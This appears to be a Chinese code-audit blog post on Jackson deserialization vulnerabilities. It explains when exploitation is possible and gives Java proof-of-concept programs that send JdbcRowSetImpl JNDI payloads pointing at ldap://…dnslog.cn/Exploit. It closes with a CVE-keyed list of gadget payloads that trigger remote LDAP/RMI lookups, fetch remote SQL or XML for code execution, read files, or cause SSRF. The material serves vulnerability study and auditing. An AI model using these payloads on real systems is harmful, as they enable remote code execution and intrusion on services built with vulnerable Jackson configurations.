java反序列化实战【05】——jackson

  • A+
所属分类:代码审计

虽然jackson 的CVE众多,让人误以为其和fastjson一样很容易反序列化攻击,但其实都是各式各样的第三方jar包导致的Gadget,实战中很难成功。

官方团队也烦了这种刷CVE行为,于2020年12月30日不再给这种Gadget申请CVE。

https://github.com/FasterXML/jackson/wiki/Jackson-Polymorphic-Deserialization-CVE-Criteria

jackson黑名单

https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java


从官方通告中我们可以看到jackson反序列化要满足什么样的条件。

    Service accepts JSON content from untrusted senders AND    Service enables "Default Typing" feature (or uses equivalent @JsonTypeInfo with base type of java.lang.Object) AND    Service has one of 3rd libraries with "gadget" Java classes AND    Jackson version is 2.9.x or lower

外部json,开启Default Typing或者@JsonTypeInfo,还需要Object基本类,存在第三方jar包的gadget,版本等于或小于2.9.x。

此文章也分析的很透彻

https://www.leadroyal.cn/p/594/

https://www.leadroyal.cn/p/616/

https://www.leadroyal.cn/p/630/

https://www.leadroyal.cn/p/633/


从jackson的POC中我们来看这些要求,以下POC环境为jackson-databind-2.8.9,jackson-core-2.8.8,jackson-annotations-2.8.0。


package test;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonJndi { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String json = "["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}]"; mapper.readValue(json, Object.class); }}

由于这个jackson版本较低,所以可以直接使用fastjson常用JNDI链。由于没有@type,所以必须使用[]来申明这是个对象,没有像fastjson那么多的变化。

注意这里的enableDefaultTyping()和Object.class,这也是jackson反序列化漏洞产生的必要条件。实战中往往并没有那么容易见到。

enableDefaultTyping为允许指定类名进行反序列化,否则只允许基本类型比如String,其可以被@JsonTypeInfo代替,我们新建一个jacksonObject类,给其 一个Object属性。

package test;
import com.fasterxml.jackson.annotation.JsonTypeInfo;import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonJndi { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); //mapper.enableDefaultTyping(); //String json = "["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}]"; String json = "{"name":"a","object":["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}]}"; //String json = "{"name":"a","object":{"@class":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}}"; //String json = "{"name":"a","object":{"@c":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}}"; //String json = "{"name":"a","object":{"@type":"JdbcRowSetImpl","dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}}"; mapper.readValue(json, jacksonObject.class); }}
class jacksonObject { public String name; @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)//@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)//@JsonTypeInfo(use = JsonTypeInfo.Id.NAME) public Object object;}


当被反序列化的类中有@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)或者@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)声明,且其有Object的属性,也可以完成反序列化。

JsonTypeInfo.Id.CLASS需要使用@class声明类,JsonTypeInfo.Id.MINIMAL_CLASS需要@c声明类。这里起到了和fastjson的@type一样的作用,jackson也有@type,也就是JsonTypeInfo.Id.NAME,不过这种需要类完全一样而不能是Object因此很难利用成功。

当然,也可以不使用@class/@c/@type,而用[]格式也是一样的。


jackson的json反序列化是先找setter再去用反射设置属性,所以如果被反序列化的类setter中有链也有可能产生危害。不过只要没有enableDefaultTyping/@JsonTypeInfo就只有基础类可以利用,是安全的。


package test;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonJndi { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); String json = "{"name":"calc"}"; mapper.readValue(json, jacksonObject.class); }}
class jacksonObject {    public String name;public void setName(String name) throws Exception{this.name = name;Runtime.getRuntime().exec(name);}}


直接readValue(json, Object.class)的情况少见,但间接Object可以扩展到List和Map上去。


package test;
import java.util.HashMap;import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonMap { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); HashMap<String, String> map = new HashMap<String,String>();map.put("name", "jack");map.put("city", "beijin");String mjson = mapper.writeValueAsString(map);System.out.println(mjson);mjson = "{"city":["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}],"name":"jack"}";HashMap<String,String> mmap = mapper.readValue(mjson, HashMap.class);System.out.println(mmap); }}



package test;
import java.util.ArrayList;import java.util.List;import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonList { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); List list = new ArrayList<>(); list.add("beijin"); list.add("tianjin");String ljson = mapper.writeValueAsString(list);System.out.println(ljson);ljson = "[["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://wl0mzx.dnslog.cn:1389/Exploit","autoCommit":"true"}],"tianjin"]";List list2 = mapper.readValue(ljson, ArrayList.class);System.out.println(list2); }}


同理,如果反序列化的类,有Map属性,也可以完成反序列化攻击,enableDefaultTyping 和@JsonTypeInfo只要求有一个即可。

package test;
import java.util.HashMap;import com.fasterxml.jackson.annotation.JsonTypeInfo;import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonMap { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); //mapper.enableDefaultTyping();String json = "{"name":"a","object":{"city":["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}],"name":"jack"}}";mapper.readValue(json, jacksonMapObject.class); }}
class jacksonMapObject { public String name;@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) public HashMap object;}


因此寻找jackson的反序列化入口,不能只像fastjson关注parse()和parseObject(),jackson中是readValue()。还必须关注enableDefaultTyping 和@JsonTypeInfo,以及是否有直接间接使用Object类。

这样看起来jackson的反序列化漏洞危害就大大降低了。


本来准备找一下jackson的所有Gadgets,但某些人水CVE实在水的丧心病狂,也难怪jackson团队拒绝再接受新的Gadgets相关CVE。

就只抄了些网上公开的,绝大部分都不实用。


CVE-2017-7525["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["base64code"],"transletName": "a.b","outputProperties": {}}]CVE-2017-15095["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}]CVE-2017-17485,需要spring-context-4.3.10.RELEASE.jar["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]CVE-2019-12086,mysql任意文件读取,需要mysql-connector-java-8.0.13.jar["com.mysql.cj.jdbc.admin.MiniAdmin", "jdbc:mysql://127.0.0.1:3306/"]CVE-2019-12384,需要h2-1.4.199.jar和logback-core-1.3.0-alpha4.jar["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]CVE-2019-12814,XXE,需要jdom2-2.0.6.jar["org.jdom2.transform.XSLTransformer", "http://127.0.0.1:4444/poc.xml"]CVE-2019-14379,需要ehcache-2.10.6.jar["net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup",{"properties":{"jndiName":"rmi://127.0.0.1:1099/evil"}}]CVE-2019-14439,需要logback-core-1.3.0-alpha4.jar["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://127.0.0.1:1099/evil"}}]CVE-2020-10969,SSRF["javax.swing.JEditorPane",{"page":"http://qb7fky.dnslog.cn"}]CVE-2020-14060,需要drill-jdbc-all-1.4.0.jar["oadd.org.apache.xalan.lib.sql.JNDIConnectionPool",{"jndiPath":"ldap://127.0.0.1:1099/Exploit"}]CVE-2020-14062,需要jaxp-ri-1.4.jar["com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool",{"jndiPath":"ldap://127.0.0.1:1099/Exploit"}]CVE-2020-14195,需要jsecurity-0.9.0.jar["org.jsecurity.realm.jndi.JndiRealmFactory",{"jndiNames":"ldap://127.0.0.1:1099/Exploit"}]CVE-2020-24616,需要Anteros-DBCP-1.0.1.jar["br.com.anteros.dbcp.AnterosDBCPDataSource",{"healthCheckRegistry":"ldap://127.0.0.1:1099/Exploit"}]CVE-2020-24750,需要configuration-0.1.3.jar["com.pastdev.httpcomponents.configuration.JndiConfiguration","ldap://127.0.0.1:1099/Exploit"]CVE-2020-36186,需要naming-factory-dbcp-5.5.23.jar["org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource",{"dataSourceName":"ldap://127.0.0.1:1288/Exploit"}]CVE-2020-36189,需要h2-1.4.199.jar和newrelic-agent-4.9.0.jar["com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:4444/exec.sql'"}]


本文始发于微信公众号(珂技知识分享):java反序列化实战【05】——jackson

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: